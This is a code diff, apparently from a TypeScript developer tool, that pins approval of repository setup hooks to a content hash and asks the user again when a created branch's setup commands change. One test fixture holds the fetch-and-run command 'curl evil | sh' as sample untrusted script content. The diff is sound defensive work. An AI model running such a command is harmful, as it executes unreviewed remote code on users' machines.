+export type HookTrustApproval = { decision: 'run' | 'skip'; approvedContentHash?: string } + +const SKIP: HookTrustApproval = { decision: 'skip' } +const RUN_ANY: HookTrustApproval = { decision: 'run' } + async function confirmScriptContent( state: AppState, repoId: string, @@ -93,28 +78,29 @@ async function confirmScriptContent( hostId?: ExecutionHostId, isCancelled: () => boolean = NEVER_CANCEL_TRUST_CHECK, signal?: AbortSignal -): Promise<'run' | 'skip'> { +): Promise { if (isCancelled() || signal?.aborted) { - return 'skip' + return SKIP } - if (canUseRepoWideTrust(state.trustedOrcaHooks, state.repos, repoId) || !scriptContent) { - return 'run' + if (canUseRepoWideTrust(state.trustedOrcaHooks, state.repos, repoId)) { + return RUN_ANY } const contentHash = await hashOrcaHookScript(scriptContent) if (isCancelled() || signal?.aborted) { - return 'skip' + return SKIP } + const approved: HookTrustApproval = { decision: 'run', approvedContentHash: contentHash } const existingHash = state.trustedOrcaHooks[repoId]?.[scriptKind]?.contentHash - if (existingHash === contentHash) { - return 'run' + if (!scriptContent || existingHash === contentHash) { + return approved } const repo = findHookRepo(state, repoId, hostId) const repoName = repo?.displayName ?? 'this repository' const previouslyApproved = Boolean(existingHash) - return new Promise<'run' | 'skip'>((resolve) => { + const decision = await new Promise<'run' | 'skip'>((resolve) => { let settled = false const settle = (decision: 'run' | 'skip'): void => { if (settled) { @@ -145,6 +131,7 @@ async function confirmScriptContent( [MODAL_DISMISSED_KEY]: () => settle('skip') }) }) + return decision === 'run' ? approved : SKIP } function getIssueCommandTrustContent(result: IssueCommandReadResult): string { @@ -178,7 +165,7 @@ async function confirmIssueCommandReadResult( if (result.status === 'error') { return 'skip' } - return confirmScriptContent( + const approval = await confirmScriptContent( state, repoId, 'issueCommand', @@ -186,6 +173,7 @@ async function confirmIssueCommandReadResult( hostId, isCancelled ) + return approval.decision } export type ConfirmedRuntimeIssueCommand = { @@ -234,6 +222,24 @@ export async function readAndConfirmRuntimeIssueCommand( } export async function ensureHooksConfirmed( + ...args: Parameters +): Promise<'run' | 'skip'> { + return (await ensureHooksApproved(...args)).decision +} + +/** Re-prompt with a created worktree's setup content that differs from what was approved. */ +export function confirmCreatedWorktreeSetupContent( + getState: () => AppState, + repoId: string, + scriptContent: string, + hostId?: ExecutionHostId +): Promise { + return enqueueTrustPrompt(() => + confirmScriptContent(getState(), repoId, 'setup', scriptContent, hostId) + ) +} + +export async function ensureHooksApproved( // Read current trust when dequeued so earlier prompts’ decisions apply. stateOrGetter: AppState | (() => AppState), repoId: string, @@ -242,14 +248,14 @@ export async function ensureHooksConfirmed( runtimeOwnerEnvironmentId?: string | null, isCancelled: () => boolean = NEVER_CANCEL_TRUST_CHECK, signal?: AbortSignal -): Promise<'run' | 'skip'> { +): Promise { return enqueueTrustPrompt(async () => { if (isCancelled() || signal?.aborted) { - return 'skip' + return SKIP } const state = typeof stateOrGetter === 'function' ? stateOrGetter() : stateOrGetter if (canUseRepoWideTrust(state.trustedOrcaHooks, state.repos, repoId)) { - return 'run' + return RUN_ANY } let scriptContent = '' @@ -263,13 +269,13 @@ export async function ensureHooksConfirmed( { wakeWslDistro: true } ) if (isUserOwnedIssueCommand(result)) { - return 'run' + return RUN_ANY } if (result.status === 'error') { - return 'skip' + return SKIP } if (result.source === 'none') { - return 'run' + return RUN_ANY } scriptContent = getIssueCommandTrustContent(result) } else { @@ -282,14 +288,14 @@ export async function ensureHooksConfirmed( } ) if (sourcePolicy === 'local-only') { - return 'run' + return RUN_ANY } const result = await checkRuntimeHooks( hookRepoOwnerHostId(state, repoId, hostId, runtimeOwnerEnvironmentId), repoId ) if (result.status === 'error') { - return 'skip' + return SKIP } const yamlHooks = (result.hooks as OrcaHooks | null) ?? null scriptContent = @@ -301,7 +307,7 @@ export async function ensureHooksConfirmed( } } catch { // Fail closed: if we cannot inspect the script, we cannot trust it. - return 'skip' + return SKIP } return confirmScriptContent( diff --git a/src/renderer/src/lib/vm-recipe-trust-content.ts b/src/renderer/src/lib/vm-recipe-trust-content.ts new file mode 100644 index 00000000000..4f2f6c2ad4d --- /dev/null +++ b/src/renderer/src/lib/vm-recipe-trust-content.ts @@ -0,0 +1,24 @@ +import type { OrcaHooks } from '../../../shared/orca-yaml-hook-types' + +/** The environment recipe commands a vmRecipe trust approval covers. */ +export function getVmRecipeTrustContent(yamlHooks: OrcaHooks | null): string { + return (yamlHooks?.environmentRecipes ?? []) + .map((recipe) => + [ + `# environmentRecipes.${recipe.id}`, + `name: ${recipe.name}`, + recipe.description ? `description: ${recipe.description}` : null, + `create: ${recipe.create}`, + recipe.suspend ? `suspend: ${recipe.suspend}` : null, + recipe.resume ? `resume: ${recipe.resume}` : null, + recipe.destroyDisabled + ? 'destroy: none' + : recipe.destroy + ? `destroy: ${recipe.destroy}` + : null + ] + .filter((entry): entry is string => entry !== null) + .join('\n') + ) + .join('\n\n') +} diff --git a/src/renderer/src/lib/workspace-setup-trust.ts b/src/renderer/src/lib/workspace-setup-trust.ts index ac0e76daf92..b54e8b6e737 100644 --- a/src/renderer/src/lib/workspace-setup-trust.ts +++ b/src/renderer/src/lib/workspace-setup-trust.ts @@ -1,7 +1,7 @@ import type { AppState } from '@/store/types' import type { ExecutionHostId } from '../../../shared/execution-host' import type { SetupDecision } from '../../../shared/worktree/create-types' -import { ensureHooksConfirmed } from './ensure-hooks-confirmed' +import { ensureHooksApproved } from './ensure-hooks-confirmed' import { settleComposerSubmit } from './composer-submit-cancellation' export async function confirmWorkspaceSetupDecision( @@ -11,9 +11,12 @@ export async function confirmWorkspaceSetupDecision boolean, signal?: AbortSignal -): Promise<{ setupDecision: T | 'skip'; trustDecision: 'run' | 'skip' } | 'cancelled'> { +): Promise< + | { setupDecision: T | 'skip'; trustDecision: 'run' | 'skip'; approvedSetupHash?: string } + | 'cancelled' +> { const trust = await settleComposerSubmit( - ensureHooksConfirmed( + ensureHooksApproved( stateOrGetter, repoId, 'setup', @@ -27,5 +30,13 @@ export async function confirmWorkspaceSetupDecision void -): Promise { +): Promise< + { setupDecision: SetupDecision; approvedSetupHash?: string } | 'cancelled' | 'review-request' +> { const inspection = await resolveDirectSetupDecision(repo.id, repo, ownerHostId) if (signal?.aborted) { return 'cancelled' @@ -98,5 +100,9 @@ export async function prepareDirectWorkItemSetup( () => signal?.aborted === true, signal ) - return confirmed === 'cancelled' ? 'cancelled' : confirmed.setupDecision + if (confirmed === 'cancelled') { + return 'cancelled' + } + const { setupDecision, approvedSetupHash } = confirmed + return { setupDecision, ...(approvedSetupHash !== undefined ? { approvedSetupHash } : {}) } } diff --git a/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-test-fixture.ts b/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-test-fixture.ts index 4639e7fc0fb..0b3ce38f5bd 100644 --- a/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-test-fixture.ts +++ b/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-test-fixture.ts @@ -86,7 +86,8 @@ vi.mock('@/lib/workspace/activation/worktree-activation', () => ({ })) vi.mock('@/lib/ensure-hooks-confirmed', () => ({ - ensureHooksConfirmed: vi.fn().mockResolvedValue('run') + ensureHooksConfirmed: vi.fn().mockResolvedValue('run'), + ensureHooksApproved: vi.fn().mockResolvedValue({ decision: 'run' }) })) vi.mock('@/lib/connection-context', () => ({ diff --git a/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct.ts b/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct.ts index dd8946de647..fe9e64afa9a 100644 --- a/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct.ts +++ b/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct.ts @@ -61,16 +61,16 @@ export async function launchWorkItemDirect( const { repo } = context const promptDelivery = args.promptDelivery ?? 'draft' const { itemType, itemNumber } = getDirectWorkItemIdentity(item) - const finalSetupDecision = await prepareDirectWorkItemSetup( + const confirmedSetup = await prepareDirectWorkItemSetup( repo, context.executionHostId, args.signal, args.onSetupRequired ) - if (finalSetupDecision === 'review-request') { + if (confirmedSetup === 'review-request') { return false } - if (finalSetupDecision === 'cancelled') { + if (confirmedSetup === 'cancelled') { return 'cancelled' } @@ -168,7 +168,7 @@ export async function launchWorkItemDirect( repoId, workspaceName, resolvedBaseBranch, - finalSetupDecision, + confirmedSetup.setupDecision, undefined, telemetrySource, workspaceIntentName?.displayName ?? item.title, @@ -190,7 +190,12 @@ export async function launchWorkItemDirect( undefined, undefined, resolvedCompareBaseRef, - { executionHostId: context.executionHostId } + { + executionHostId: context.executionHostId, + ...(confirmedSetup.approvedSetupHash !== undefined + ? { approvedSetupHash: confirmedSetup.approvedSetupHash } + : {}) + } ) const worktreeId = result.worktree.id const worktreePath = result.worktree.path diff --git a/src/renderer/src/lib/workspace/creation/worktree-creation-flow-execute.ts b/src/renderer/src/lib/workspace/creation/worktree-creation-flow-execute.ts index 3210b2eba3e..be1e23f638b 100644 --- a/src/renderer/src/lib/workspace/creation/worktree-creation-flow-execute.ts +++ b/src/renderer/src/lib/workspace/creation/worktree-creation-flow-execute.ts @@ -1,4 +1,4 @@ -import { prepareWorktreeCreationHooks } from '@/lib/workspace/creation/worktree-creation-hook-preparation' +import { prepareWorktreeCreationHooks, setupCreateArgs } from './worktree-creation-hook-preparation' import { useAppStore } from '@/store/index' import { activateAndRevealWorktree, @@ -93,7 +93,7 @@ export async function executeWorktreeCreation( preparedRequest.linkedGiteaPR, preparedRequest.compareBaseRef, { - setupOnly: preparedRequest.setupOnly, + ...setupCreateArgs(preparedRequest), ...(preparedRequest.branchIntent ? { branchIntent: preparedRequest.branchIntent } : {}), ...(hostAgentLaunch ? { hostAgentLaunch } : {}), executionHostId: creationHostId, diff --git a/src/renderer/src/lib/workspace/creation/worktree-creation-hook-preparation.ts b/src/renderer/src/lib/workspace/creation/worktree-creation-hook-preparation.ts index 98d0ef38e97..3e0023828c6 100644 --- a/src/renderer/src/lib/workspace/creation/worktree-creation-hook-preparation.ts +++ b/src/renderer/src/lib/workspace/creation/worktree-creation-hook-preparation.ts @@ -38,7 +38,7 @@ export async function prepareWorktreeCreationHooks( return null } - const { setupDecision, trustDecision } = confirmed + const { setupDecision, trustDecision, approvedSetupHash } = confirmed let issueCommand = request.issueCommand if (preparation.issueCommand && preparation.executionHostId && trustDecision !== 'skip') { const confirmed = await readAndConfirmRuntimeIssueCommand( @@ -74,6 +74,7 @@ export async function prepareWorktreeCreationHooks( hookPreparation: undefined, executionHostId: request.executionHostId ?? preparation.executionHostId, setupDecision, + ...(approvedSetupHash !== undefined ? { approvedSetupHash } : {}), issueCommand } useAppStore.getState().updatePendingWorktreeCreation(creationId, { @@ -82,3 +83,15 @@ export async function prepareWorktreeCreationHooks( }) return prepared } + +/** Setup fields for the create call; the approved hash lets the host check the created branch. */ +export function setupCreateArgs( + request: Pick +): { setupOnly?: boolean; approvedSetupHash?: string } { + return { + setupOnly: request.setupOnly, + ...(request.approvedSetupHash !== undefined + ? { approvedSetupHash: request.approvedSetupHash } + : {}) + } +} diff --git a/src/renderer/src/store/slices/worktrees-remote-runtime-create.test.ts b/src/renderer/src/store/slices/worktrees-remote-runtime-create.test.ts index 0c1a5490295..c9d21297d3d 100644 --- a/src/renderer/src/store/slices/worktrees-remote-runtime-create.test.ts +++ b/src/renderer/src/store/slices/worktrees-remote-runtime-create.test.ts @@ -317,6 +317,38 @@ describe('worktree remote runtime mutations', () => { }) ) }) + + it('forwards the approved setup hash and re-prompts with setup the created branch changed', async () => { + const store = createRepoTestStore() + const openModal = vi.fn() + store.setState({ openModal }) + mockApi.worktrees.create.mockResolvedValue({ + worktree: makeWorktree({ + id: 'repo1::/path/feature', + repoId: 'repo1', + path: '/path/feature' + }), + setupTrustMismatch: { contentHash: 'branch-hash', scriptContent: 'curl evil | sh' } + }) + const create = store.getState().createWorktree + const args: Parameters = ['repo1', 'feature', 'origin/main', 'run'] + args[25] = { approvedSetupHash: 'primary-hash' } + + await create(...args) + + expect(mockApi.worktrees.create).toHaveBeenCalledWith( + expect.objectContaining({ setupDecision: 'run', approvedSetupHash: 'primary-hash' }) + ) + await vi.waitFor(() => expect(openModal).toHaveBeenCalledOnce()) + expect(openModal).toHaveBeenCalledWith( + 'confirm-orca-yaml-hooks', + expect.objectContaining({ + repoId: 'repo1', + scriptKind: 'setup', + scriptContent: 'curl evil | sh' + }) + ) + }) }) // Creation routes by the project row's own host, so every test seeds that row. diff --git a/src/renderer/src/store/slices/worktrees/create/create-worktree.ts b/src/renderer/src/store/slices/worktrees/create/create-worktree.ts index 1962f7c5bc8..d3ed5c16a7b 100644 --- a/src/renderer/src/store/slices/worktrees/create/create-worktree.ts +++ b/src/renderer/src/store/slices/worktrees/create/create-worktree.ts @@ -1,4 +1,5 @@ import { showWorktreeCreateWarningToast } from './worktree-create-warning-toast' +import { reviewSetupTrustMismatch } from './created-worktree-setup-trust' import { createWorktreeOnRuntimeHost } from './host-planned-agent-launch' import { runtimeRpcTargetForAuthorityKey } from '@/runtime/runtime-client-target' import { repoHostId } from '../listing/worktree-host-ownership' @@ -261,6 +262,7 @@ export function createCreateWorktree( } const { result } = outcome showWorktreeCreateWarningToast(result.warning) + reviewSetupTrustMismatch(get, repoId, creationHostId, result) showLocalBaseRefRefreshToast(result.localBaseRefRefresh, result.worktree, { updateSettings: get().updateSettings, executionHostId: creationHostId diff --git a/src/renderer/src/store/slices/worktrees/create/created-worktree-setup-trust.ts b/src/renderer/src/store/slices/worktrees/create/created-worktree-setup-trust.ts new file mode 100644 index 00000000000..6f6bf87ee51 --- /dev/null +++ b/src/renderer/src/store/slices/worktrees/create/created-worktree-setup-trust.ts @@ -0,0 +1,28 @@ +import { toast } from 'sonner' +import { translate } from '@/i18n/i18n' +import type { AppState } from '@/store/types' +import { confirmCreatedWorktreeSetupContent } from '@/lib/ensure-hooks-confirmed' +import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { CreateWorktreeResult } from '../../../../../../shared/worktree/create-types' + +/** The host skipped setup because the created branch's commands differ; ask about the real ones. */ +export function reviewSetupTrustMismatch( + getState: () => AppState, + repoId: string, + hostId: ExecutionHostId | undefined, + result: Pick +): void { + const mismatch = result.setupTrustMismatch + if (!mismatch) { + return + } + toast.warning( + translate( + 'worktree.setupTrust.createdBranchSkipped', + "Setup didn't run: this branch's orca.yaml setup commands differ from the ones you approved." + ) + ) + void confirmCreatedWorktreeSetupContent(getState, repoId, mismatch.scriptContent, hostId).catch( + (error: unknown) => console.error('Failed to review the workspace setup commands:', error) + ) +} diff --git a/src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts b/src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts index ae204194509..210b492e88a 100644 --- a/src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts +++ b/src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts @@ -28,6 +28,8 @@ export type CreateWorktreeCallOptions = { /** A terminal agent the owning host may plan from its own settings; `startup` stays the fallback. */ hostAgentLaunch?: HostAgentLaunch setupOnly?: boolean + /** Hash of the confirmed setup content; see CreateWorktreeArgs. */ + approvedSetupHash?: string /** True only when `name` came from the creature-name generator; gates host-side retirement. */ nameWasGenerated?: boolean displayNameKind?: CreateWorktreeArgs['displayNameKind'] @@ -79,6 +81,9 @@ function sharedCreateFields( ...(attempt.branchNameOverride ? { branchNameOverride: attempt.branchNameOverride } : {}), ...(request.branchIntent ? { branchIntent: request.branchIntent } : {}), setupDecision: request.setupDecision, + ...(options?.approvedSetupHash !== undefined + ? { approvedSetupHash: options.approvedSetupHash } + : {}), ...(options?.setupOnly !== undefined ? { setupOnly: options.setupOnly } : {}), sparseCheckout: request.sparseCheckout, ...(request.displayName ? { displayName: request.displayName } : {}), diff --git a/src/renderer/src/web/preload-api/web-worktrees-api.ts b/src/renderer/src/web/preload-api/web-worktrees-api.ts index f0ab6c8885e..6c7bf78f303 100644 --- a/src/renderer/src/web/preload-api/web-worktrees-api.ts +++ b/src/renderer/src/web/preload-api/web-worktrees-api.ts @@ -80,6 +80,9 @@ export function createWorktreesApi(): NonNullable['worktrees sparseCheckout: args.sparseCheckout, pushTarget: args.pushTarget, setupDecision: args.setupDecision, + ...(args.approvedSetupHash !== undefined + ? { approvedSetupHash: args.approvedSetupHash } + : {}), createdWithAgent: args.createdWithAgent, pendingFirstAgentMessageRename: args.pendingFirstAgentMessageRename, ...(args.startup diff --git a/src/shared/rpc-contract/worktree-create-params.ts b/src/shared/rpc-contract/worktree-create-params.ts index 8fb9365d8e3..c236302ecfe 100644 --- a/src/shared/rpc-contract/worktree-create-params.ts +++ b/src/shared/rpc-contract/worktree-create-params.ts @@ -117,6 +117,8 @@ export const WorktreeCreate = z ) .pipe(z.union([z.enum(['run', 'skip', 'inherit']), z.undefined()])) .optional(), + // A malformed hash never matches, so the host skips setup rather than running unapproved content. + approvedSetupHash: z.string().max(128).optional(), // Desktop can prequote startup commands; clients unable to quote for the host send startupAgent. startupCommand: OptionalString, startupEnv: z.record(z.string(), z.string()).optional(), diff --git a/src/shared/worktree/create-types.ts b/src/shared/worktree/create-types.ts index 73b2ca3013f..b6b42404d75 100644 --- a/src/shared/worktree/create-types.ts +++ b/src/shared/worktree/create-types.ts @@ -47,6 +47,9 @@ export type { export type SetupDecision = 'inherit' | 'run' | 'skip' +/** The created worktree's shared setup commands, when they differ from what the client approved. */ +export type SetupTrustMismatch = { contentHash: string; scriptContent: string } + export type WorktreeCreateTimingPhase = { phase: string startedAtMs: number @@ -106,6 +109,8 @@ export type CreateWorktreeArgs = { /** V1 open-existing retains legacy tip/collision policy; V2 pins explicit reuse regardless of remote divergence. */ branchIntent?: 'open-existing' | 'open-existing-v2' | 'create-new' setupDecision?: SetupDecision + /** SHA-256 of the setup trust content the user approved; hosts run shared setup only if the created worktree's matches. Older clients omit it. */ + approvedSetupHash?: string /** Per-create choice; omitted callers use the execution host's saved default. */ setupOnly?: boolean sparseCheckout?: CreateSparseCheckoutRequest @@ -189,6 +194,8 @@ export type CreateWorktreeResult = { terminalHandle?: string } defaultTabs?: WorktreeDefaultTabsLaunch + /** Setup and default-tab commands were skipped because the created branch's differ from the approved ones. */ + setupTrustMismatch?: SetupTrustMismatch warning?: string baseFallback?: WorktreeCreateBaseFallback initialBaseStatus?: WorktreeBaseStatusEvent